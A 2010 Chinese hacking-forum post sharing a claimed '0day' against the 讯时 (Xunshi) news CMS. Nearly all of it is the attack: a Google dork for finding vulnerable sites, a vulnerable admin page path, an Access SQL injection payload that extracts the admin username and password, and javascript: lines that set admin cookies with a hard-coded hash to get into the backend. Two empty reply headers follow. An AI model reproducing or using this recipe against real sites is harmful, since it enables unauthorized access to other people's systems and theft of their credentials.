通杀所有讯时系统0day 经本人测试此0day通杀所有讯时系统

etcat · 发表于 2010-6-2 21:02:03


	经测试此0day通杀所有讯时系统。 google关键字inurl:news_more.asp?lm2= 复制代码 1. /admin/admin_news_pl_view.asp?id=1 //id任意填入以下语句 2. 有时1显示错误信息的时候继续往后退2，3，4。。。。 3. \|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username=' 4. cookies 进后台 5. javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40")); 在这里感谢大家对我的支持！以后有好东西会及时共享给大家！

长城科技 · 发表于 2010-6-2 21:17:26

Bellain · 发表于 2010-6-2 22:25:43

评论 2